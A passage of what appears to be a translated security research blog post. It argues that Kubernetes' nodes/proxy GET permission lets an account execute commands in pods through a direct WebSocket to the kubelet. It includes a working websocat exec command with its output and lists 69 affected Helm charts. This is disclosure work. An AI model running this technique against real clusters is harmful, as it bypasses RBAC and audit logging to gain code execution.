Теперь выполним ту же команду, но подключимся напрямую к kubelet'у с помощью WebSockets (как вы помните, WebSocket-соединение инициируется через HTTP GET):

websocat \
  --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol "v4.channel.k8s.io" \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=hostname"

nginx
{"metadata":{},"status":"Success"}

На этот раз команда выполнилась успешно. Прямое подключение к kubelet'у позволило обойти проверку авторизации, которая заблокировала нас при обращении через API-сервер. Хотя обе операции нацелены на один и тот же эндпоинт kubelet'а, результаты авторизации оказались разными.

Если и GET, и CREATE позволяют выполнять произвольные команды, то разграничение прав в RBAC на «чтение» и «запись» теряет всякий смысл.

3. KEP-2862 не решает проблему

«Мы по-прежнему убеждены, что KEP-2862 (Гранулярная авторизация Kubelet API) — правильный путь. Вместо того чтобы менять существующую грубую авторизацию nodes/proxy, наша цель — сделать её устаревшей для агентов мониторинга… мы сгруппировали read-only-эндпоинты (/configz, /healthz, /pods) отдельно от эндпоинтов, позволяющих исполнение кода (/attach, /exec, /run), поскольку не видим сценариев, где имело бы смысл разрешать, например, только /exec без остальных».

KEP-2862 действительно вводит более гранулярные права для доступа к подресурсам как альтернативу слишком глобальным правам для nodes/proxy. Авторы KEP излагают свою позицию:

«По мере роста числа приложений (агентов мониторинга и логирования), использующих аутентифицированный порт kubelet (10250), возникает потребность в предоставлении доступа к определённым путям без открытия всего API kubelet'а».

KEP-2862 предлагает добавить следующие разрешения, предполагая, что если существует альтернатива nodes/proxy, то никому не потребуется использовать nodes/proxy в принципе.

Разрешение

У чего есть доступ

Пример использования

nodes/metrics

/metrics, /metrics/cadvisor, /metrics/resource, /metrics/probes

Сбор метрик (Prometheus и др.)

nodes/stats

/stats, /stats/summary

Статистика ресурсов

nodes/log

/logs/

Доступ к логам на узле

nodes/healthz

/healthz, /healthz/ping, /healthz/syncloop

Проверки работоспособности

nodes/pods

/pods, /runningpods

Список подов и их статус

Даже если всё это будет реализовано, корни проблемы никуда не уйдут. Хотя KEP-2862 — это, безусловно, шаг в правильном направлении, он не решает основную проблему по нескольким причинам:

1) KEP-2862 в настоящее время находится в статусе Beta, а не General Availability (GA) и поэтому «рекомендуется только для некритичных для бизнеса применений из-за возможности несовместимых изменений в последующих релизах». Его необходимо явно включать с помощью флага --feature-gates=KubeletFineGrainedAuthz=true.

2) Он не предоставляет альтернатив для /attach, /exec, /run или /portforward. С точки зрения безопасности это проблематично, поскольку любая рабочая нагрузка, требующая этих операций, по-прежнему вынуждена использовать nodes/proxy.

Примечание

Интересно, что /portforward в KEP-2862 вообще не упоминается.

3) Наконец, KEP-2862 не исправляет сам баг в коде при авторизации nodes/proxy GET.

Повторюсь: проблема в несоответствии между протоколом соединения (то есть WebSockets) и глаголом RBAC (GET против CREATE). Kubelet принимает решения об авторизации на основе HTTP GET, отправляемого во время поднятия WebSocket-соединения, а не на основе фактически выполняемой операции.

4. Механизм сопоставления подресурсов уже существует

«Исправление, ограничивающее этот вектор атаки, потребовало бы изменить логику авторизации в двух местах: в kubelet (чтобы обработать особый случай для пути /exec) и в kube-apiserver (чтобы добавить вторичную проверку прав на /exec после основной проверки nodes/proxy)… Мы решили, что такая двойная проверка — хрупкое, кривое с точки зрения архитектуры и потенциально неполное решение».

Это утверждение легко опровергнуть. Во-первых, код в файле auth.go kubelet'а уже содержит логику для сопоставления конкретных путей с конкретными подресурсами:

    switch {
    case isSubpath(requestPath, statsPath):
        subresources = append(subresources, "stats")
    case isSubpath(requestPath, metricsPath):
        subresources = append(subresources, "metrics")
    case isSubpath(requestPath, logsPath):
        // "log" to match other log subresources (pods/log, etc)
        subresources = append(subresources, "log")
    case isSubpath(requestPath, checkpointPath):
        subresources = append(subresources, "checkpoint")
    case isSubpath(requestPath, statusz.DefaultStatuszPath):
        subresources = append(subresources, "statusz")
    case isSubpath(requestPath, flagz.DefaultFlagzPath):
        subresources = append(subresources, "configz")
    default:
        subresources = append(subresources, "proxy")
    }

Во-вторых, API-сервер уже использует механизм вторичной авторизации. Как я упоминал в пункте 1, проблема с pods/exec была решена именно добавлением в authorize.go вторичной проверки, которая требует наличия права CREATE независимо от HTTP-метода. То есть обе части предлагаемого фикса основаны на уже существующих в коде паттернах.

Выводы и соображения

Kubernetes — основа значительной части мировой облачной инфраструктуры. Поэтому любая неочевидная возможность выполнить код в подах кластера, да ещё и без записи в логах аудита, — это огромный риск, который делает множество кластеров уязвимыми.

Администраторам Kubernetes настоятельно рекомендую проверить кластеры на наличие этого риска и отслеживать его.

Пока же ситуация напоминает мне Kerberoasting в Active Directory — архитектурное решение формата «работает как задумано», которое атакующие успешно эксплуатируют уже более десяти лет. Искренне надеюсь, что эту проблему исправят.

На этот проект я потратил кучу сил и времени, убив на него массу уик-эндов и вечеров. Хочу выразить глубокую благодарность следующим людям за их ценный вклад: за рецензирование, за совместное исследование исходного кода Kubernetes и за помощь в подготовке этого материала.

Приложение: затронутые Helm-чарты

Ниже приведён список из 69 Helm-чартов, которые используют права на nodes/proxy в той или иной степени. Каждая ссылка ведёт на соответствующий чарт. Его можно скачать для самостоятельного анализа.

Посмотреть весь список.

Чарт

Ресурс

Глаголы

Ссылка

aws/appmesh-prometheus:1.0.3

nodes/proxy

GET, LIST, WATCH

https://aws.github.io/eks-charts/appmesh-prometheus-1.0.3.tgz

aws/appmesh-spire-agent:1.0.7

nodes/proxy

GET

https://aws.github.io/eks-charts/appmesh-spire-agent-1.0.7.tgz

aws/aws-cloudwatch-metrics:0.0.11

nodes/proxy

GET

https://aws.github.io/eks-charts/aws-cloudwatch-metrics-0.0.11.tgz

aws/aws-for-fluent-bit:0.1.35

nodes/proxy

GET, LIST, WATCH

https://aws.github.io/eks-charts/aws-for-fluent-bit-0.1.35.tgz

bitnami/wavefront:4.4.3

nodes/proxy

GET, LIST, WATCH

https://charts.bitnami.com/bitnami/wavefront-4.4.3.tgz

choerodon/kube-prometheus:9.3.1

nodes/proxy

GET, LIST, WATCH

https://openchart.choerodon.com.cn/choerodon/c7n/charts/kube-prometheus-9.3.1.tgz

choerodon/prometheus-operator:9.3.0

nodes/proxy

GET, LIST, WATCH

https://openchart.choerodon.com.cn/choerodon/c7n/charts/prometheus-operator-9.3.0.tgz

choerodon/promtail:0.23.0

nodes/proxy

GET, WATCH, LIST

https://openchart.choerodon.com.cn/choerodon/c7n/charts/promtail-0.23.0.tgz

cilium/cilium:1.19.0-rc.0

nodes/proxy

GET

https://helm.cilium.io/cilium-1.19.0-rc.0.tgz

dandydev-charts/grafana-agent:0.19.2

nodes/proxy

GET, LIST, WATCH, GET, GET, LIST, WATCH

https://github.com/DandyDeveloper/charts/releases/download/grafana-agent-0.19.2/grafana-agent-0.19.2.tgz

datadog/datadog:3.161.2

nodes/proxy

GET

https://github.com/DataDog/helm-charts/releases/download/datadog-3.161.2/datadog-3.161.2.tgz

datadog/datadog-operator:2.18.0-dev.1

nodes/proxy

GET

https://github.com/DataDog/helm-charts/releases/download/datadog-operator-2.18.0-dev.1/datadog-operator-2.18.0-dev.1.tgz

elastic/elastic-agent:9.2.4

nodes/proxy

GET, WATCH, LIST

https://helm.elastic.co/helm/elastic-agent/elastic-agent-9.2.4.tgz

flagger/flagger:1.42.0

nodes/proxy

GET, LIST, WATCH

https://flagger.app/flagger-1.42.0.tgz

fluent/fluent-bit:0.55.0

nodes/proxy

GET, LIST, WATCH

https://github.com/fluent/helm-charts/releases/download/fluent-bit-0.55.0/fluent-bit-0.55.0.tgz

fluent/fluent-bit-collector:1.0.0-beta.2

nodes/proxy

GET, LIST, WATCH

https://github.com/fluent/helm-charts/releases/download/fluent-bit-collector-1.0.0-beta.2/fluent-bit-collector-1.0.0-beta.2.tgz

gadget/gadget:0.48.0

nodes/proxy

GET

https://github.com/inspektor-gadget/inspektor-gadget/releases/download/v0.48.0/gadget-0.48.0.tgz

gitlab/gitlab-operator:2.8.2

nodes/proxy

GET, LIST, WATCH

https://gitlab-charts.s3.amazonaws.com/gitlab-operator-2.8.2.tgz

grafana/grafana-agent:0.44.2

nodes/proxy

GET, LIST, WATCH

https://github.com/grafana/helm-charts/releases/download/grafana-agent-0.44.2/grafana-agent-0.44.2.tgz

grafana/grafana-agent-operator:0.5.2

nodes/proxy

GET, LIST, WATCH

https://github.com/grafana/helm-charts/releases/download/grafana-agent-operator-0.5.2/grafana-agent-operator-0.5.2.tgz

grafana/loki:6.51.0

nodes/proxy

GET, LIST, WATCH

https://github.com/grafana/helm-charts/releases/download/helm-loki-6.51.0/loki-6.51.0.tgz

grafana/loki-simple-scalable:1.8.11

nodes/proxy

GET, LIST, WATCH

https://github.com/grafana/helm-charts/releases/download/loki-simple-scalable-1.8.11/loki-simple-scalable-1.8.11.tgz

grafana/mimir-distributed:6.1.0-weekly.378

nodes/proxy

GET, LIST, WATCH

https://github.com/grafana/helm-charts/releases/download/mimir-distributed-6.1.0-weekly.378/mimir-distributed-6.1.0-weekly.378.tgz

grafana/promtail:6.17.1

nodes/proxy

GET, WATCH, LIST

https://github.com/grafana/helm-charts/releases/download/promtail-6.17.1/promtail-6.17.1.tgz

grafana/tempo-distributed:1.61.0

nodes/proxy

GET, LIST, WATCH

https://github.com/grafana/helm-charts/releases/download/tempo-distributed-1.61.0/tempo-distributed-1.61.0.tgz

hashicorp/consul:1.9.2

nodes/proxy

GET, LIST, WATCH

https://helm.releases.hashicorp.com/consul-1.9.2.tgz

influxdata/telegraf-ds:1.1.45

nodes/proxy

GET, LIST, WATCH

https://github.com/influxdata/helm-charts/releases/download/telegraf-ds-1.1.45/telegraf-ds-1.1.45.tgz

jfrog/runtime-sensors:101.3.1

nodes/proxy

GET

https://charts.jfrog.io/artifactory/api/helm/jfrog-charts/sensors/runtime-sensors-101.3.1.tgz

kasten/k10:8.5.1

nodes/proxy

GET, LIST, WATCH

https://charts.kasten.io/k10-8.5.1.tgz

komodor/k8s-watcher:1.18.17

nodes/proxy

GET, LIST

https://helm-charts.komodor.io/k8s-watcher/k8s-watcher-1.18.17.tgz

komodor/komodor-agent:2.15.4-RC5

nodes/proxy

GET, LIST

https://helm-charts.komodor.io/komodor-agent/komodor-agent-2.15.4-RC5.tgz

kubecost/cost-analyzer:2.9.6

nodes/proxy

GET, LIST, WATCH

https://kubecost.github.io/cost-analyzer/cost-analyzer-2.9.6.tgz

kwatch/kwatch:0.10.3

nodes/proxy

GET, WATCH, LIST

https://kwatch.dev/charts/kwatch-0.10.3.tgz

linkerd2/linkerd-viz:30.12.11

nodes/proxy

GET, LIST, WATCH

https://helm.linkerd.io/stable/linkerd-viz-30.12.11.tgz

linkerd2-edge/linkerd-viz:2026.1.3

nodes/proxy

GET, LIST, WATCH

https://helm.linkerd.io/edge/linkerd-viz-2026.1.3.tgz

loft/vcluster:0.32.0-next.0

nodes/proxy

GET, WATCH, LIST

https://charts.loft.sh/charts/vcluster-0.32.0-next.0.tgz

loft/vcluster-eks:0.19.10

nodes/proxy

GET, WATCH, LIST

https://charts.loft.sh/charts/vcluster-eks-0.19.10.tgz

loft/vcluster-k0s:0.19.10

nodes/proxy

GET, WATCH, LIST

https://charts.loft.sh/charts/vcluster-k0s-0.19.10.tgz

loft/vcluster-k8s:0.19.10

nodes/proxy

GET, WATCH, LIST

https://charts.loft.sh/charts/vcluster-k8s-0.19.10.tgz

loft/vcluster-pro:0.2.1-alpha.0

nodes/proxy

GET, WATCH, LIST

https://charts.loft.sh/charts/vcluster-pro-0.2.1-alpha.0.tgz

loft/vcluster-pro-eks:0.2.1-alpha.0

nodes/proxy

GET, WATCH, LIST

https://charts.loft.sh/charts/vcluster-pro-eks-0.2.1-alpha.0.tgz

loft/vcluster-pro-k0s:0.2.1-alpha.0

nodes/proxy

GET, WATCH, LIST

https://charts.loft.sh/charts/vcluster-pro-k0s-0.2.1-alpha.0.tgz

loft/vcluster-pro-k8s:0.2.1-alpha.0

nodes/proxy

GET, WATCH, LIST

https://charts.loft.sh/charts/vcluster-pro-k8s-0.2.1-alpha.0.tgz

loft/vcluster-runtime:0.0.1-alpha.2

nodes/proxy

GET

https://charts.loft.sh/charts/vcluster-runtime-0.0.1-alpha.2.tgz

loft/virtualcluster:0.0.28

nodes/proxy

GET, WATCH, LIST

https://charts.loft.sh/charts/virtualcluster-0.0.28.tgz

loft/vnode-runtime:0.2.0

nodes/proxy

GET

https://charts.loft.sh/charts/vnode-runtime-0.2.0.tgz

netdata/netdata:3.7.158

nodes/proxy

GET, LIST, WATCH

https://github.com/netdata/helmchart/releases/download/netdata-3.7.158/netdata-3.7.158.tgz

newrelic/newrelic-infra-operator:0.6.1

nodes/proxy

GET, LIST

https://github.com/newrelic/helm-charts/releases/download/newrelic-infra-operator-0.6.1/newrelic-infra-operator-0.6.1.tgz

newrelic/newrelic-infrastructure:2.10.1

nodes/proxy

GET, LIST

https://github.com/newrelic/helm-charts/releases/download/newrelic-infrastructure-2.10.1/newrelic-infrastructure-2.10.1.tgz

newrelic/nr-k8s-otel-collector:0.9.10

nodes/proxy

GET

https://github.com/newrelic/helm-charts/releases/download/nr-k8s-otel-collector-0.9.10/nr-k8s-otel-collector-0.9.10.tgz

newrelic/nri-prometheus:1.14.1

nodes/proxy

GET, LIST, WATCH

https://github.com/newrelic/helm-charts/releases/download/nri-prometheus-1.14.1/nri-prometheus-1.14.1.tgz

nginx/nginx-service-mesh:2.0.0

nodes/proxy

GET

https://helm.nginx.com/stable/nginx-service-mesh-2.0.0.tgz

node-feature-discovery/node-feature-discovery:0.18.3

nodes/proxy

GET

https://github.com/kubernetes-sigs/node-feature-discovery/releases/download/v0.18.3/node-feature-discovery-chart-0.18.3.tgz

opencost/opencost:2.5.5

nodes/proxy

GET, LIST, WATCH

https://github.com/opencost/opencost-helm-chart/releases/download/opencost-2.5.5/opencost-2.5.5.tgz

openfaas/openfaas:14.2.132

nodes/proxy

GET, LIST, WATCH

https://openfaas.github.io/faas-netes/openfaas-14.2.132.tgz

opentelemetry-helm/opentelemetry-kube-stack:0.13.1

nodes/proxy

GET, LIST, WATCH

https://github.com/open-telemetry/opentelemetry-helm-charts/releases/download/opentelemetry-kube-stack-0.13.1/opentelemetry-kube-stack-0.13.1.tgz

opentelemetry-helm/opentelemetry-operator:0.102.0

nodes/proxy

GET

https://github.com/open-telemetry/opentelemetry-helm-charts/releases/download/opentelemetry-operator-0.102.0/opentelemetry-operator-0.102.0.tgz

prometheus-community/prometheus:28.6.0

nodes/proxy

GET, LIST, WATCH

https://github.com/prometheus-community/helm-charts/releases/download/prometheus-28.6.0/prometheus-28.6.0.tgz

prometheus-community/prometheus-operator:9.3.2

nodes/proxy

GET, LIST, WATCH

https://github.com/prometheus-community/helm-charts/releases/download/prometheus-operator-9.3.2/prometheus-operator-9.3.2.tgz

rook/rook-ceph:v1.19.0

nodes/proxy

GET, LIST, WATCH

https://charts.rook.io/release/rook-ceph-v1.19.0.tgz

stevehipwell/fluent-bit-collector:0.19.2

nodes/proxy

GET, LIST, WATCH

https://github.com/stevehipwell/helm-charts/releases/download/fluent-bit-collector-0.19.2/fluent-bit-collector-0.19.2.tgz

trivy-operator/trivy-operator:0.31.0

nodes/proxy

GET

https://github.com/aquasecurity/helm-charts/releases/download/trivy-operator-0.31.0/trivy-operator-0.31.0.tgz

victoriametrics/victoria-metrics-agent:0.30.0

nodes/proxy

GET, LIST, WATCH

https://github.com/VictoriaMetrics/helm-charts/releases/download/victoria-metrics-agent-0.30.0/victoria-metrics-agent-0.30.0.tgz

victoriametrics/victoria-metrics-operator:0.58.1

nodes/proxy

GET, LIST, WATCH

https://github.com/VictoriaMetrics/helm-charts/releases/download/victoria-metrics-operator-0.58.1/victoria-metrics-operator-0.58.1.tgz

victoriametrics/victoria-metrics-single:0.29.0

nodes/proxy

GET, LIST, WATCH

https://github.com/VictoriaMetrics/helm-charts/releases/download/victoria-metrics-single-0.29.0/victoria-metrics-single-0.29.0.tgz

wiz-sec/wiz-sensor:1.0.8834

nodes/proxy

GET, LIST, WATCH

https://wiz-sec.github.io/charts/wiz-sensor-1.0.8834.tgz

yugabyte/yugaware:2025.2.0

nodes/proxy

GET

https://charts.yugabyte.com/yugaware-2025.2.0.tgz

yugabyte/yugaware-openshift:2025.2.0

nodes/proxy

GET

https://charts.yugabyte.com/yugaware-openshift-2025.2.0.tgz

zabbix-community/zabbix:7.0.12

nodes/proxy

GET

https://github.com/zabbix-community/helm-zabbix/releases/download/zabbix-7.0.12/zabbix-7.0.12.tgz

P. S. Во время своего исследования я обнаружил ещё две… техники. Продолжение следует!

P. S. 

Читайте также в нашем блоге: